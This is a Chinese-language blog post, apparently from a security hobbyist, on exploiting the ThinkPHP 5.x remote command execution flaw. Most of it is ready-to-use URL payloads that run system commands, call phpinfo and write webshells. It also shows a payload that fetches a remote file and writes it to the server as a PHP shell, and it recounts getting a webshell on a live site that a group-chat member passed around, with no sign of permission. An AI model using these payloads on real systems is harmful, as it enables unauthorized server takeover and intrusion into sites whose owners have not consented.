ThinkPHP v5.0和v5.1命令执行漏洞利用


昨天晚微信的一篇公众号爆出ThinkPHP官方的安全更新中修复了一个可直接GetShell的漏洞,文中能看到作者复现了这个漏洞,Payload打了个很“模糊”的码。

于是乎……

昨晚开始就有小伙伴们复现并写出了好几种Payload和批量脚本。

到今天早上更是一发不可收拾,各种各样的Payload都出现了,批量脚本都宣称可扫全网。

希望各位小伙伴的测试行为最好遵循国家的网络安全法 ,No zuo No die。

网络安全法

分析文章网上已经有好几篇不错的文章,就不丢人了。有兴趣的可以去看看

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)

执行系统命令 Payload:

index.php?s=index/\think\Request/input&filter=system&data=id

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

执行phpinfo() Payload:
index.php?s=index/\think\Request/input&filter=phpinfo&data=1

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

写WebShell Payload:
index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

以上是网上公开的Payload  各式各样的变种一大堆。


今天我早上复现的时候遇到一个比较好玩的站所以打算记录一下。

站是群里一个小伙伴扔出来的,ThinkPHP V5.1.26  存在本文中所说的漏洞

小伙伴说  可以执行cmd但不是system权限,可以用上面的Payload写入任意文件但是过滤了 <>

死活没拿下WebShell   我在群里看着,发现他们好几个人在玩  玩的不亦乐乎,我也去凑凑热闹。

开始的思路是直接cmd下载一个shell到web目录就好了,但是发现有点麻烦,首先cmd下载文件的命令比较长,短的命令也带<>

所以就没有使用cmd下载文件换了个别的思路

(PS:别以为 echo ‘xxxx’>d:\xx.php 可以 > 转实体编码了 执行这条命令最终的结果是 echo ‘xxxx’ &gt; d:\xx.php 并不会写出文件)

直接用任意文件写入的Payload也不能避免被转码

然后尝试构造一句话直接连接 最后发现也失败了。

突然想到文件包含也可以啊  但是又不想包含日志什么的,懒…

其实这已经跟一句话差不多了,这个时候我们可以利用 file_put_contents和file_get_contents配合写入一句话啊

Payload:

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=print_r(file_put_contents(%27xx.php%27,file_get_contents(%27https://www.baidu.com/x.txt%27)))

如同菜刀一样,先file_get_contents读取远程文件内容为一句话 然后file_put_contents在当前目录下写入文件  而且不带<>

 

直接写入shell

其实还有好几种方法拿到shell只不过我喜欢这种简单点的方法。

 

 

好久没有写东西,一天天浑浑噩噩的如同行尸走肉,有几个目标盯了快半个月了,就是搞不下来,难受…  发现了一下小漏洞嘛,又不想去提交… 虽然我知道提交了肯定能过,但是自己总觉得这个不能造成什么太大的危害就懒得去提交…  我常常吃这种思想的亏,每次不管是众测还是SRC都是这样,发现了小问题不想提交,别人提交了给的奖励还不低…  真的是…  不长记性。

 

本文所有代码仅可用于站长自我检测,如用于非法攻击一切后果自负。

转载请注明出处:http://R3start.net

1 thought on “ThinkPHP v5.0和v5.1命令执行漏洞利用”

发表评论

电子邮件地址不会被公开。 必填项已用*标注